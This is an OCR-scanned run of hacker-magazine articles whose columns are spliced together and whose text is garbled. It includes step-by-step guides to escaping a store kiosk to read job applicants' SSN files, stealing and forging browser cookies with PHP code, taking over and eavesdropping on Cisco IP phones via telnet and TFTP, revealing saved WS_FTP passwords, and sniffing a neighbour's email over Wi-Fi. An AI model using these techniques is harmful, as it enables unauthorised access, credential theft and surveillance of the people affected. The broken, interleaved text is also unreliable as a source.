23RD STREET - PARK AVE MVM 0489(R227 0701) 

28TH STREET - PARK AVE MVM 1228(R229 0700) 

Con clusi o n  
As you  may have noticed, I haven 't p rovided a 

way to decode the  Si ng le-Track MetroCards yet. 
Bus Transfer MetroCa rds a re co llected after use 
and the  magneti c stri pe  of Si ng le-Ride  Metro­
Cards i s  written with bogus data after use. We 
si mp ly haven't received enough  un used sa mp les 
to be  ab le to reverse-engi neer a ll the i nformation  
contai ned on th ese ca rds.  

by cLo rox 
I'm su re most people searchi ng  for a job  have 

fi lled out an e lectronic app li cation  at a busi n ess 
on one of thei r  machines .  I know about fou r  
months a g o  my fri end  was looki ng  for a job  a n d  I 
fi gu red I 'd h elp h im fi nd  one .  No one  was hi ri n g  
so he  decided t o  try a store i n  t h e  ma ll. T h e  store 
was JC Pen ney. We were b rought i nto a room with 
two computers. H e  sat down and  sta rted to fi ll 
out his app li cation  and  1, bei ng  the curious  one  I 
a m ,  snooped a round .  

The app lication  itself was  a n  htm l fi le that 
was bei ng  s hown i n  IE i n  fu llscreen mode .  Con­
tro l-a lt-de lete did no  good so I contro l escaped 
and it b rought up  the  tas kba r with the start but-

This p roject is fa r from over, a n d  there a re sti 
tons  of data that need to be collected .  You can 
help i n  many ways: 

* Collect recei pts every ti me  you pu rchase a 
MetroCard and  send them to us.  This wi ll h elp us 
expan d  (and keep updated) our  database of the 
booths and M EMs/MVMs contai ned with in  each 
stati on .  Also ,  if possi b le,  keep the  MetroCa rd as­
sociated with the  recei pt. 

* If you notice anythi ng  un usua l, such as a 
frozen MTA kiosk ( M EM ,  MVM, reader, etc . ) ,  open 
equi pment (whi le repai rs a re bei n g  done ) ,  or 
a nyth ing  e lse, ta ke some good pictu res. As of 
now, p hotography bans  a re bei n g  p roposed fo r 
the  New York City subway system ,  but a re n ot yet 
in p lace. So know you r  rig hts . 

* If you ' re payi n g  fo r a bus ride  with change,  
get a Bus  Tra nsfer MetroCa rd and send it to us if  
you don 't i ntend to use it .  Make su re you note the  
route, di recti on ,  time ,  date, a nd  any other  ap­
p licab le i nformati on .  

New  t h i ng s  a re bei n g  discovered a n d  more 
data is bei n g  collected every day, so consider  this 
a rti cle a " snapshot" of a work i n  p rogress. You can 
fi nd  and  contri bute to the data bei n g  collected 
on this system at http ://www. 2600 .com/mta and  
by  sendi ng  us additiona l  i nformation  a t  2600 
Metroca rd Project, PO Box 752 ,  Midd le Isla nd ,  NY 
11953  USA.  

ton and  the  tasktray. The sta rt menu was bare, 
no  way for me  to execute a n  app li cation  there, 
j ust a s h utdown button .  But i n  the  task  tray they 
had  Mcafee Antivi rus runn ing .  I 'm not su re if it 
was a co rporate enterprise version but I doub le 
cli cked it to try to fi nd  a way I cou ld access the 
ha rd d rive. There was a fie ld with a b rowse but­
ton next to it where you cou ld change you r  vi rus 
database and it let me  view the ha rd d rive as well  
as the networked d rives. I opened a notepad fi le 
j ust so I cou ld see txt fi les easier in the b rowser. 
I was snoopi ng  a round  when I ca me  upon a fo lder 
i n  the C d rive ca lled apps .  

The text fi les i n  this fo lder were titled by a 
n ine  digit n u m ber. I opened one  of the  text fi les 
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and  it was Amie Laster's app li cati on .  Formatted 
in this way: 

ssn-ssns-s nn  I Amie Laster I 0000101010101 
-010110101011 

The others were exactly li ke this so anyone 
cou ld just sit down here, access everyone's app li­
cations ,  and pretty much exp loit the person usi ng  
th i s  data . I sent  a n  anonymous letter to  the dis­
tri ct office. I 'm not sure if it's been fixed or not 
but I thought that people who a re enteri ng  i n  
critical i nformation on a computer need  to  know 
where it is  goi ng  and who has access to it. 

Other  p laces you might fi nd  interesti ng :  

b y  Vi leS Y N  
It's 10 p m .  Do you  know where you r  cookies 

a re? I 'm goi ng  to go over a few ways that cookies 
ca n be exp loited , and why it 's n ot a good idea to 
keep them i n  you r  browser. IE  keeps the  cookies 
i n  "\ Documents and Setti ng s\% User%\ Loca l 
Setti ngs\ Tempora ry Internet Fi les " ,  with the  file 
name  starti n g  with "Cookie : ". Mozi lla on  the  
other  h and  saves the "cookies. txt" file i n  
-/ .mozi lla/defau ltj<ra ndom>.s lt, a n d  Fi refox 
stores it i n  -j .mozi lla/fi refox/defau lt. s2e/.  Last. 
Safa ri keeps its "Cookies .p li st" fi le in -/Li 
-bra ry/Cookiesj. 

Now that we know where they a re ,  the  ques­
tion  i s  what to do with them .  Any of the cooki e  
fi les c a n  be  copied a n d  used with the  s ame  type 
of b rowser on  a different machine .  With the  
sna rfed cookies, you can log  i nto the  domains  
that  ho ld cookies a nd  see what data  i s  encapsu­
lated i n side .  

Other  ways to  capture cookies i n clude usi n g  
Cai n & Abe l  from oxi d .it on Wi n dows systems .  An ­
other  is  t o  sniff packets . U si n g  tcpdump or  a ny  
other  sniffi n g  uti lity, monitori n g  the  HTTP port 
it's goi n g  t h rough  and usi n g  an  u n li mited 
snap len ca n s how some interesti n g  resu lts . What 
you a re looki n g  for is this :  

Set-Cooki e :  cookien ame=cookieva l ue; ex 
.pi res =expi redate; path =directorypath; 
.. domain =domai n n ame . com 
You c a n  then t ake that i n f orma t i o n  and 
forge your own cookies with a PHP file 
l ike th i s : 
<?ph p 

$cookieva l u e  = "1"; 

BestBuy: 
On their employee PCs near the CDs ,  control A 

and  Z th ree times b rings  up the emp loyee toolkit 
(this va ries by store but it's a combination of con­
trol, a lt, or  s hift with two keys on the keyboa rd ) ,  
which you need a logi n t o  use. On t h e  d e m o  PCs 
you can either  double click the numbers on the 
right  hand side  or p ress control M to mini mize the 
advertisement so you can access the d rive. Thei r  
la ptops usua lly have Internet access due  t o  a wifi 
con nection in the store . 

Circuit City: 
Thei r  PCs a re open and  have a con nection  to 

the net. The world is yours. 
Shoutz: z3rO, shady, Lucas, mayo, andjosh. 

$cooki eva l ue2 = " 8 " ; 
$cookieva l ue3 = " 2 5 "; 

s e t ra wcookie ( " pa s s word " ,  $cook 
- i e va l u e ,  t ime() +3 6 0 0 ,  " / " ,  " . fake . com " ,  
- 0 ) ;  

s e trawcookie ( " l a s t vi si t " ,  $cook 
- i e va l ue2 , t imer ) +3 6 0 0 ,  " / " ,  
- " . fake . com " ,  0 ) ;  

s e t ra wcooki e (  " u s erid " ,  $cook 
- i e va l ue 3 ,  t imer ) +3 6 0 0 ,  " / " ,  
"''' . fake . com " ,  0 ) ;  
?> 

H ere you set th ree cookies, "password " ,  
" lastvisit" , a nd  " useri d " .  Each cookie  is  assigned a 
value, a n  expi ration  date, a path , a domai n ,  a n d  
a boolean secure i nteger. There i s  one  trick to 
this though .  If you try this code as it is, it wi ll not 
set the  cookies .  If the  b rowser does not see that 
the  server resolves to the  domai n ,  it fai ls .  Of 
cou rse,  there a re ways a round  this. You si mp ly 
edit you r  " hosts" fi le, a n d  add  a li n e  li ke this :  

127. 0. 0. 1 fake.com 
When you navigate to fa ke.com/cooki e . p hp ,  

you  wi ll resolve to  yourself, a nd  the cookies wi ll 
set themselves. With the "." in front of the do­
mai n ,  a l l  hosts a re effected by this cookie .  You 
can then navigate to the  o rigi n a l  web server (i . e . ,  
www.fa ke .com )  and  i t  wi ll recognize the cookie 
as  bei n g  there.  If the va lues came  from a legiti­
mate source, then the server wi ll see the cookies 
as  bei n g  j ust as legitimate as long  as the expi ra­
tion  has not been reached .  So that's it. Happy 
sna rfi n g !  

Thanx to FBSDHN, Sf, and  DaLe "The Sandgog­
gLen Texas. 
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by Ko n g  
I was recently hi red as  a field-network tech ni­

cia n  at a major  cab le company. I don 't wa nt to 
name names,  but I wi ll d rop a hint and let you 
know that they own AOL, C NN ,  and severa l other  
big n ames .  The title of my job  rea lly means n oth­
ing .  I j ust go to customers' homes or  busi n esses 
a n d  set up  wi reless and wi red networks.  Interest­
i n g  stuff but nothi ng  too interesti n g .  I did this 
fo r a month o r  so u nti l I was given a n  opportu­
nity to switch over to the Voice over IP  (VoIP) de­
pa rtment. Bei n g  a n  avid phone  ph rea k I decided 
to take this opportunity. After an i ntense train­
i n g  session ,  I was left with a little more knowl­
edge then I had  befo re a n d  a trai n ing  manua l. 
Si nce selli ng  the manua l  on eBay seemed out of 
the  question ,  I decided the best p lace to s ha re 
my new information wou ld be i n  a n  a rti cle. 

The fi rst misconception  many people have 
with VoIP is  that you r  p hone  ca lls go over the  In­
ternet. Whi le this i s  true with Vonage and other  
Internet phone  companies ,  it i s  fa r from the truth 
with the phone  system I work on. The VoIP sys­
tem consists of the fo llowi ng :  

MTA: Media termi na l  adapter - cab le modem.  
Coaxial Network: Coaxia l  cab le i s  television 

cab le,  enough sai d .  
CMTS: Cab le modem  termination  system ,  more 

on this later. 
MGC: Media Gateway Contro ller, see above 

notes. 
PSTN: Publi c  switch ed telephone  network, 

te lco 's existi ng  network. 
The MTA works on  the  same  basic p ri n cipa ls as 

a standa rd DOCSIS ( Data Over Cab le Services In­
terface Specificati on )  cab le modem. It even uses 
the  same channe l  i n  the  RF spectrum .  It ca n even 
look  the same as a standa rd cab le modem except 
in addition  to an RJ-45 jack and  USB  port, it wi ll 
a lso have an RJ-ll jack for a phone .  This means  
i n  a lmost al l  cases Internet a n d  phone  a re run  
from the same device a n d  the same coaxia l  cab le .  
Both functions  have thei r  own MAC add ress and 
a lso thei r  own IP  add ress. Most cab le modems 
have a buffer of 1500 bytes wh ich  wi ll last about 
10 seconds  and  wi ll cause some noticeab le de lays 
on streaming  video or m usic as packets a re loss .  
Si nce de lays fo r voice a re unacceptab le,  the 
phone pa rt of the  modem on ly has  a buffer of 160 
bytes o r  about 20 mi lliseconds .  This means  that if 
a packet i s  lost for voi ce, there is  no  chance of it 
bei n g  resent. As mentioned earlie r  data and voice 

_wr.-r 

s ha re the  same channe ls fo r upstrea m a n d  down­
strea m .  To cut down on  lost voice packets, they 
a re given p rio rity over data packets . This cou ld 
cause some performance d rops whi le s u rfi ng  but 
they a re h a rd ly n oticeab le.  The RJ-ll jack on  the 
MTA acts the  same as  a jack that i s  hooked up  to 
telco wi ri n g ,  meani ng  it supp lies -48 vo lts DC for 
on-hook  a n d  90 volts AC for ri n gi n g  a n d  a ll that 
good stuff. It a lso supports dual tone m u lti fre­
quency ( DTMF ) .  The MTA a lso has  the  job  of 
chang ing  the ana log voice sig n a l  i nto digita l 
packets . On ce th e MTA has  tra nsferred the  pack­
ets , it sends them th rough  the coaxia l  cab le in 
you r  nei g hborhood to the CMTS. 

The CMTS i s  a lso the same as  with a standa rd 
cab le modem .  It is located at a cab le com pany of­
fice and  terminates the  packets from the coaxia l  
cab le to either  fi ber optics o r  Ethernet. Fo r  Inter­
net, it routes the packets from thei r  office to the  
Internet. In the  case  of phone ,  it keeps  the  pack­
ets on a managed network contro lled by the  cab le 
company and  used for VoIP o n ly. Packets a re 
routed to different pa rts of the network depend­
i n g  on who is  ca lli n g  whom .  Eventua lly they a re 
d ropped off at the  MGC .  

Once the  packets a r rive at the  MGC  they a re 
fu rther  a na lyzed to decide  where they a re goi ng  
one  last time .  The job  of  the MGC  is  to  send  a n d  
receive packets t o  a n d  from the PSTN . So basi­
ca lly a ll the cab le company has to do i s  get the 
packets from your house to thei r  office and then 
d rop them off at the telco and let them deal with 
it from there .  

Th is  a rti cle i s  a condensed version  of a 500 
page manua l  but I have i n cluded the  most impor­
ta nt pa rts . There a re a few mi no r  detai ls I have 
left out such as various servers that do n othi ng  
more than  make su re you r  phone  i s  on  the  hook  
or  off the  hook ,  let people know you r  n u mber  is  
disco n nected ,  etc. A good section  of the  trai n ing  
manua l  a lso dea ls with how to  hook  the  MTA up  
to  the  customer's exiti ng  phone  wi ri ng  so they 
can use a phone  i n  every room  i n stead of j ust 
p luggi n g  a phone  i nto the MTA .  That section  is 
not that interesti n g  and most people with a ny 
phone  experience p rofessiona l  or not shou ldn 't 
have to worry too h a rd about that. The main idea 
of this a rti cle was to outli n e  how and why the 
system works .  Keep i n  mind that once the  pack­
ets leave the MTA they a re standa rd IP data pack­
ets a n d  can be sniffed li ke a ny other  packet 
regard less of medi um  (coax, Ethernet or fi ber). 
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by M o by Di s k  
This a rti cle pertai n s  t o  the  Cisco 7940 a nd  

7 960  IP  phones .  Fo r  those new to  IP phones ,  they 
fun ction  Li ke no rma L  office phones on a PBX but 
they run  over Ethernet. This ma kes them hig h Ly 
hackab Le .  The Cisco phones have a monoch rome 
pixeL-add ressab Le LCD dispLay. They com m unicate 
via 10/100 Ethernet at fu LL or h a Lf dup Lex. The 
fi rmware i s  updateab Le and Cisco p rovides 
fi rmware to support severaL  voice p rotocoLs. 
Power can be p rovided via AC o r  via un used wi res 
on the Ethernet cab Le.  The phones com m unicate 
with a caLL manager  server that h a nd Les configu­
rati o n ,  mai lboxes, etc. The p hones support a 
wide  va riety of p rotocoLs. This a rti cle wi lL use the  
main  configu ration  p rotoco Ls i n cludi n g  Dynamic 
Host Configu ration  ProtocoL ( D H CP) ,  T rivi a L  F i Le 
Tran sfer ProtocoL (TFTP) , a nd  TeLnet. Other  sup­
ported p rotocoLs used i n clude DNS ,  SNTP, and 
ICM P. Rea L-Ti me  Tra nsport ProtocoL ( RTP) i s  used 
fo r audio (Cisco 3) .  Va rious  p rotoco Ls i n cludi ng  
SIP, MGCP, a n d  SCCP  a re u sed  for sig na Li n g  other 
phones .  HTI P  i s  supported for downLoadi ng  
graphics to d ispLay on  the LCD .  

I Looked i nto these phones fi rst o u t  o f  hacker 
curiosity: This i s  a g reat exa mp Le of di gita L con­
vergence.  I was amazed that these phones were 
actua lly computers and that I cou Ld com m u nicate 
with them usi n g  my desktop Pc . I a Lso wanted to 
know how secure they were. CouLd someone Lis­
ten in to ca LLs? Fa ke ca LLs? Make the phones ra n­
dom Ly ye LL i n su Lts at coworkers? We Ll, I was 

surprised to fi nd  that Cisco did n 't even put one  
b i t  of  thought i nto security. I t  i s  trivi a L  to  do  a LL 
of these th ings  a n d  mo re .  Let's see how. 

Required Too Ls 
ALL you need to execute the  basic hacks is ac­

cess to the  network that the  phones reside  on .  If 
you r  computers a re on the  same switch as the  
phones ,  you ca n just use you r  desktop Pc . Other­
wise,  obtai n a h ub .  A p Lai n Wi ndows 2000 work­
station  i n cludes the  necessa ry TeLnet a n d  TFTP 
client. Some of the more advanced tricks requ i re 
a TFTP server. If you do not have p hysica L access 
to the phones themseLves, you wi lL n eed a sniffer 
to determi ne  the IP add resses a nd  names of the  
phones .  

Secu rity 
The Cisco phones I used p rovide no security 

whatsoever. Every emp Loyee necessa ri Ly has  
p hysica L n etwork access. A wi reLess router wou Ld 
a LLow anyone  to remoteLy contro L you r  phones 
without p hysica LLy bei n g  i n  the  office. In this 
pa rticu La r  office, the  phones were actua lly acces­
si b Le from outside  the office! Once I had the IP 
add resses, I was ab Le to teLnet to the phone  on 
my desk from my home  Pc . 

Newer versions  of the  Cisco CaLL Manager  soft­
wa re requi re di gita L signatu res to make it more 
diffi cu Lt to spoof fi rmwa re updates and  a Lso sup­
ports IPSEC. If  you do use an  IP phone system ,  I 
strong Ly recommend  usi n g  the Latest software 
a n d  enab Li n g  IPSEC. You shou Ld a Lso confi gu re 
the phones to disab Le Te Lnet access. This ca n be 
subverted by spoofi ng  the  TFT P  server a nd  send­
ing fa ke configu ration  fi Les, but that is  m uch 
more difficu Lt. 

Ha c ki n g  
S o  what exactly ca n be d o n e  remoteLy with 

these phones? You can do anythi ng  avai La b Le via 
the  menus  or buttons  p hysica LLy on the phone .  

RemoteLy change phone settings 
Change the ring tones (predefined tones or use 
your own) 
Modify the firmware 
Change the logo on the display 
Redirect the company directory or the voice mail 

Remote Ly contro l pho nes 
Initiate calls (with speakerphone) 
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Make the phone ring 
Adjust the voLume 
Take phone on/off the hook 
Crash the phone 

Without IPSE( ,  you shou Ld be ab Le to eaves­
d rop  on phone  ca lls with a packet sniffe r. In the­
ory, you cou Ld redi rect phone  ca LLs or change 
voice mai L  setti n gs ,  but these  a re truLy ma Li cious  
activities a nd  I did not resea rch h ow to do  th i s .  
These actions  wou Ld requ i re IP spoofi ng  which i s  
beyon d  the  scope of th i s  a rti cle. 

How-To 
Sta rt with p hysicaL  access to the phones a n d  

assume each phone  i s  password p rotected .  Get 
the  IP add ress, host name, a nd  TFTP server fo r 
each phone  by p ressi ng  the  configu ration  button 
(the one  with the picture of the check box) a nd  
seLecti n g  Netwo rk Configu rati on .  T he  h ost n ame  
wi LL be somethi ng  Li ke OOOCAED39328 .  I f  you  do  
not  have physica L access to  the  phone, then you 
wi LL n eed to sniff fo r this i n formation .  

The mai n confi g u rati o n  m e n u  

Next, u se  a TFTP client to  retrieve the  fi les 
" Ri n g List.dat", "SIPDefau Lt.cnf ' ,  a nd  "SIPxxxxxx 
"xxxxxx.cnf" where the x's represent the  h ost 
name  of the phone .  RepLace SIP with SCCP or 
MGCP if you r  server uses one  of these p rotocoLs 
(Cisco 1 ) .  The configu ration  fi les a re p Lain text 
files contai n ing  the  server setti ngs ,  p hone  num­
bers, teLnet Leve L, a nd  an  unencrypted password . 
Setti ngs  a re the defau Lt configu ration  fi le a nd  
may  be overridden i n  each phone's confi gu ration  
fi Le . 

This password a Lso a LLows you to change con­
figu ration  setti ngs  via the phone ' s  menus by se­
Lecti ng  the  " U n Lock Configu ration "  option  i n  the 
confi gu ration  menu .  You may a lso teLnet to the 
phone  usi n g  the  IP add ress and password.  F rom 
here, you can execute many com mands .  A fu LL Li st 
of com mands  i s  avai la b Le at (Cisco 2 ) .  

T h e  test key command  is  t h e  m ost fun .  Press­
i n g  the vo Lume  buttons causes the phone  to ri n g .  
You can c h ange  setti ngs  s u c h  as  ri ngtones by 
si mu Lati n g  the  navigation  keys. It is  possi b Le to 
pi ck up the  speakerphone  and  dia L, then con nect 
to the desti nation  phone  and  i n struct it to pick 
up .  

Cha n g i n g  Ri n g  To n es a n d  Other Setti n g s  
You can seLect a ny of  the standa rd ri n g  tones 

usi n g  the  phone  or  via teLnet. Ri n g List. dat con­
tai ns  the descri ption  and fi Le name for each ri ng  
tone .  You ca n down Load the  ri ng  tone  fi les via 
TFTP, but you can not up Load new ones to the  
server. The ri ng  tone  fi Les a re 8 kHz  8-bit u- Law 
audio fi les <=2 seconds  Long  (Cisco 3 ) .  

reset 

exit 

est open 

est close 

Reboot t e phone and reload the firmware via TFTP. 

Close the telnet session. 

Enter hacking mode. 

Exit hacking mode. 

The network config uration screen showi n g  est key 

the DHCP server, MAC add ress, and  host name. 
Notice the "Lock" icon in next to the title, i n di­
cati ng that we ca n n ot cha nge the setti ngs yet. 

X Simulate pressing key X on the phone. Keys can be: 

voldn: Volume down 

volup: Volume up 

headset: Headset 

spkr: Toggle speakerphone 

mute: Mute 

est string 

est on hook 

est offhook 

est? 

est help 

info: Info 

msgs: Messages 

serv: Services 

dir: Directories 

set: Settings 

navup: Navigate up 

navdn: Navigate down 

String can be any number of 0 .. 9, #, and *. 

This allows you to control the menus and to dial 

Place the phone on or off hook, as though someone 

picked it up. Can be used to answer calls. Improper 

use of this can cause the phone to confuse on and 

off hook (picking up the receiver can become the 

on hook state, and vice-versa) 
Ask the phone what keys it supports. This is useful 

if your phone has additional navigation "soft" keys. 
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Usi ng  the  existi n g  ri ng  tones is neat, but 
maki ng  you r  own is  very cool. Si nce you can not 
up load fi les to the  TFTP server, to use your own 
ri ng  ton es you need to set up  your own TFTP 
server and di rect the phone to use it. In the 
phone 's configu ration  screen i s  a setti ng  "Alter­
nate TFTP. "  Set this to yes. Then change  the "TFTP 
Server" setti ng  to contai n the  IP address of your 
server. Now you can serve up  you r  own fi rmware, 
ri ng  tones, and configu ration  fi les . Servi ng  your 
own configu ration  fi le a llows you to change the  
URL for the  logo on the di sp lay, the  URL for the 
corporate di recto ry, a nd  the  phone n u m ber for 
the voice mai l .  Logo fi les m ust be 8-bit B M P  fi les 
even though  the  LCD is  b lack-an d-white (VOIP 4 ) .  
I t  looks li ke the  corporate di rectory b rowser 
works li ke a mi n ima l  text-on ly web browser. 
In this  pa rticu la r  office, the  p hones did not 
have worki n g  DHCP  so the HTI P  server for the 
logo  had to be a si ng le-homed HTI P  server that 
was accessi b le by IP. 

C o n c lusi o n s  
IP phones a re gain ing  i n  popu la rity si nce they 

a re becoming  versati le, powerfu l, a n d  easy to i n ­
stall. Pricewise,  they a re competi ng  very effec­
tively agai n st existi ng  PBX systems .  Expect to see 
rapi d g rowth in the future. H owever, expect to 
see more stri ngent security in p lace now that the  

by H2007 
This fi le is i ntended to s how you how to vi ew a 

passwo rd saved i n  WS_FTP. in i  usi n g  WSFTP itself. 
Too ls n eeded :  WS_FTP - any versi o n .  

Step 1 )  Copy the  user's WS_FTP. in i  fi le stored 
i n  \ .. \ .. \WS_FTP\ . Ta ke a copy of the WS_FTP. ini  
fi le and p lace it i n  your \WS_FTP\ di rectory. 

Step 2) Open the fi le in a ny text editor of you r  
choosi n g .  H ere is  a s hort exa mp le of  what you 
wi ll see. 
[ WS FTP32 ]  

HOST=ftp . randomftpserv . com 

UID=h 2 0 0 7  

DIR= " /pub/wi n 3 2 " 

PASVMODE=l 

TIMEOFFSET=O 

PWD=V9DBF029E316E1B1C2B2D1Bl 7 3 B l  7BB 9 3 6B3 

B 6A 3 9A 6A 6A2 7 7AE5B 

TYPE=6010 

The text i n  brackets [WS_FTP3 2 ]  i s  the p rofi le 
name  set by the  user. Selecti n g  that is  h ow you 
wi ll d isp lay the i nformation  i n  WSFTP. HOST i s  of 
cou rse the host address. UID i s  the va li d  user 
name we wi ll be usi ng .  PWD i s  the  "encrypted" 

phones sh ip  with IPS EL For  n ow, have fun by 
listeni ng  i n  on meeti ng s  a nd  maki ng  you r  
coworkers' phones taunt them .  

Referen ces 
( 1 )  Information  on the bootup process a n d  

t h e  files resid ing on  t h e  server: "Converti n g  a 
Cisco 7940/7960 Ca llManager  Phone to a SIP 
Phone  . . .  " ,  Cisco Systems 1992-2004; http ://www 
-.cisco . com/warp/pub li c/788/voi p/handset_to 
-_si p . htm l 

( 2 )  Te lnet com mands ,  monitori n g  options ,  
a n d  troub les hooti n g  tips :  "Monitori n g  Cisco SIP 
IP Phones (Versions  6 .x  and 7.x ) " ,  Cisco Systems  
1992-2004; http ://www.cisco.com/en/US/prod  
-ucts/sw/voi cesw/ps2156/products_admi ni stra 
-tion_guide_chapter09186a00801d 1988. htm l 

( 3 )  Physica l phone  setup ,  ri ng  tones :  "Getti n g  
Sta rted with Your  Cisco S I P  IP P h o n e  (Version  
1 . 0 ) " ,  Ci sco Systems  1992-2004; http ://www. 
-cisco .com/en/US/products/sw/voicesw/ps215 
-6/products_admi nistration_guide_chapter091  
-86a0080087 511 .  htm l 

(4) Logos ,  messages, di rectories,  ri ng  ton es ,  
genera l  i n formation ,  a n d  li n ks :  "Configu ri n g  
Cisco 79xx phones with Asterisk " ,  Arte Ma rketi n g  
2004; http ://www.voi p-i nfo . o rg/wi ki-Asteri s k% 
-20phone% 20ci sco%2079xx 

P a s s w o r d s  

password we a re attempti ng  to view. 
Step 3) Sure ,  you can si mp ly con nect with the  

password i n  i ts  masked form li ke it cu rrently i s .  
H owever ou r  agenda here i s  to decrypt it so we 
can vi ew the passwo rd itself. Why? To know a 
va li d  password that the  user uses. 

In the  UID  a rea,  copy and remove the  user ID  
(i n th i s  case  " h 2007" )  a nd  rep lace that  with 
"anonymous" .  So UID=h 2007 shou ld now read 
UID=a nonymous .  

Step 4) The fourth and  fi n a l  step i s  very si m­
p le.  Execute WS_FTP95 . exe, click  Connect and  se­
lect the appropriate p rofi le name .  Voi la , you now 
have an unmasked va li d  password , user name ,  
a n d  host. In th i s  case our  password i s  
"2600rocks ! "  

Many schools a n d  busi n esses use this soft­
wa re .  It is n ot ha rd to fi n d  severa l va li d  user 
n ames and passwords j ust by gai n ing  access to a 
user 's \WS_FTP\ di rectory. You can a lso google 
" intitle: i ndex .of ws_ftp . in i "  a nd  you wi ll fi n d  
severa l resu lts. 

Happy Hacki n g !  
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by RSG 
Packet sniffers a re i ncredib le lea rni n g  tools .  

Li ke many people, I have a wi reless Internet 
router i n sta lled i n  my apartment. It creates a 
sma ll, wi reless Loca l Area Network ( LAN )  which 
p rovides con nectivity for my th ree computers. 

The other  day I was too li ng  a round  on  my 
LAN, usi n g  my trusty packet sniffer to lea rn more 
about how my router works a nd  how the va rious 
computers i nteract on  the  netwo rk. All of a sud­
den I noticed a fifth IP add ress was sendi ng  a n d  
receivi ng  data . Five? But I o n ly own th ree com­
puters and a router. Bingo, I had  a wifi leech .  

Wifi leeches a re fai rly com mon these days. It's 
a very common  p racti ce to j ump  on an open wifi 
node when you see one  avai lab le .  2600 has  even 
provided information on more than  one  occasion  
on  how to  detect wi reless nodes  (for  examp le ,  
see the  cover design  for the  Summer 2002 issue ) .  
I've a lways thought, perhaps somewhat naively, 
that open wi reless was better then closed a n d  
t h u s  had  never b locked a ccess t o  my  router usi ng  
a password o r  MAC  add ress fi lteri n g .  But t h i s  time  
i t  wa s  persona l. I wa s  curious .  Who  wa s  this 
leech? 

Fi rst a disclai mer :  I 'm not a p rofessiona l  
sysadm in ,  no r  a m  I a low- level p rotocol n inj a .  
But I've managed to  teach myself a thi n g  o r  two 
about h ow n etworks work. This a rti cle is meant to 
be i ntroductory. Com ments a n d  additions  a re en­
cou raged .  

I had  to move q uickly. I togg led back to the  
termi na l  where my favorite packet sniffer, tcp­
dump ,  was run ni n g .  Tcpdump  i s  ubi quitous .  If 
you run a * nix operati n g  system you most li kely 
a lready have it i n stalled .  (Wi n doze people can 
use a port called "Wi n Dump . " )  Si nce I wanted to 
i gno re a ll traffic except fo r the data goi n g  
to/from m y  leech ,  I resta rted tcpdump usi n g  t h e  
" host" argument a n d  my leech ' s  IP add ress: 
/usr/sbin / t cpdump -so - i  e n 1  -Aa h o s t  

" 1 92 . 1 6 8 . 1 . 1 0 3 

I run Mac OSX, so the  "-i e n 1 "  flag means sniff 
on my en 1  i nternet adaptor, i . e . ,  my airport ca rd . 
The "-Aa" a n d  "-sO" flags a re the  j uicy pa rts . They 
tell tcpdump  to suck down the fu ll packets i n  hu­
man- readab le ASCII text. Fun !  C heck the  man  
pages; you r  m i leage may  va ry. A nice a lternate to 
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tcpdump  is Etherea l. Mac people s hou ld a lso 
check out EtherPEG which reassemb les J PEGs or 
GIFs in rea l ti me  as  they flow by. 

O kay, I had  my leech trapped .  But what cou ld 
I lea rn? Fi rst, I noticed a Media Access Control 
(MAC) add ress in the tcpdump output. These a re 
un ique h a rdwa re add resses assigned  to network 
adaptors. With a MAC address you ca n loo k  up the 
vendor  of the  mach ine .  I plugged the  MAC ad­
d ress i nto http ://www. coffer. com/mac_fi nd  and 
made a note of my leech ' s  computer type.  After 
sifti n g  t h rough  a few more pages of tcpdump  
output, I lea rned the  make a n d  mode l  o f  my 
leech ' s  computer as well as the type  a n d  version 
n u m ber of the  operati ng  system ,  p lus the  make 
a n d  mode l  of my leech ' s  p ri nter. H m m m ,  s hou ld I 
send over a p rint  job?  

You ' ll get a lot of uni nteresti ng  garbage,  but  
here a re a few stri n gs that  a re he lpfu l to  grep 
through  the  tcpdump  output wit h :  @ ,  G ET, OK ,  
US ER,  <htm l> .  You ' ll no  doubt discover you r  own 
favorite stri ng s  to g rep on .  

After a day  o r  two ,  I had  discovered a who le 
lot about my leech :  h is name ,  th e names of h is  
two emai l p roviders ,  the  names of the emai l  li sts 
he was subscribed to (google the  "SurvivePX" 
email li st for a gi gg le) , the n ames and emai l 
addresses of h is  friends  . . . .  You get the  pictu re. 

So he re i s  the d i lemma :  if someone i s  steali n g  
you r  bandwidth , i s  i t  okay to  s py  on  t hem?  I 'm 
afraid the eth ica l an swer is  p robab ly no. But sti ll, 
if I cou ld read his emai l, then he cou ld read mine  
( i f  h e  had  h a lf a brai n ) .  In effect, I was remi nded 
of the  importan ce of security and  p rivacy: use en­
crypti on ,  a n d  if  you keep your node open (as I 
opted to do ) ,  be conscious of how people a re 
usi n g  your n etwo rk at a ll ti mes.  

My leech p rompted me  to lea rn a lot a bout 
how data moves a round  a LAN and what sort of 
i nformation  is  revea led a bout a user. I hope  this 
was usefu l  to you .  For more i nformation  on net­
work p rotocols I wou ld recommend  W. Richard 
Stevens '  book TCP/IP Illustrated, Volume 1 (Addi­
son Wes ley) and Eri c  H a ll's Internet Core Proto­
cols (O ' Rei lly) . For the  tech nica l specs of IP a nd  
TCP you  s hou ld a lso be sure to  read RFC 791  and  
RFC 7 9 3 .  H appy leech h unti ng .  
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by Josh D 
Let me just say right  out that some of the  

ideas descri bed i n  th i s  a rti cle may not be per­
fectly Lega L  - this a rti cle is meant to be educa­
tiona L  and if you attempt to execute a ny of the 
ideas p resented here, I wi LL take a bso LuteLy no re­
sponsi bi Lity for extra celluLar charges you may i n ­
cu r  o r  fo r any troub Le you  may get  i nto with your 
celluLa r  p rovi der. 

What is WAP? 
WAP i s  a n  acronym that stands  for Wi reLess 

Access Protoco L, which i s  (on a very basic LeveL) 
the techno Logy that a ceLLu La r p hone  uses to con­
nect to the  Internet. There a re severa L WAP 
b rowsers a n d  the  one  that wi LL be descri bed today 
i s  ca lled Openwave, which comes p rei nsta LLed on 
a bunch  of ceLL phones .  I have persona lly seen 
Openwave in use on LG a n d  Kyocera p hones ,  but 
I 'm sure these a ren 't the  o n ly p hone  brands that 
use Openwave . 

Openwave is genera lly n ot that h a rd to tweak.  
Once the  b rowser i s  running on  a ceL L  phone ,  one 
just has  to p ress and ho ld down the zero button 
(or  menu  button dependi ng  on the  phone  manu­
factu rer) on  the i r  phone  u nti L they a re g reeted 
with a menu  fu LL of everyday b rowser featu res, 
such as " Re load "  a n d  " Bookmarks . "  The Last item 
on the menu  i s  "Advanced " ,  which i s  where the 
configu rati on  of your WAP setup wi LL eventua LLy 
end .  If you ' re fo llowi ng  a Long  on your own ceLL 
p hone  a n d  you ' re seei ng what I 'm describ ing ,  you 
most li keLy have a ceLL p hone  man ufactured by LG 
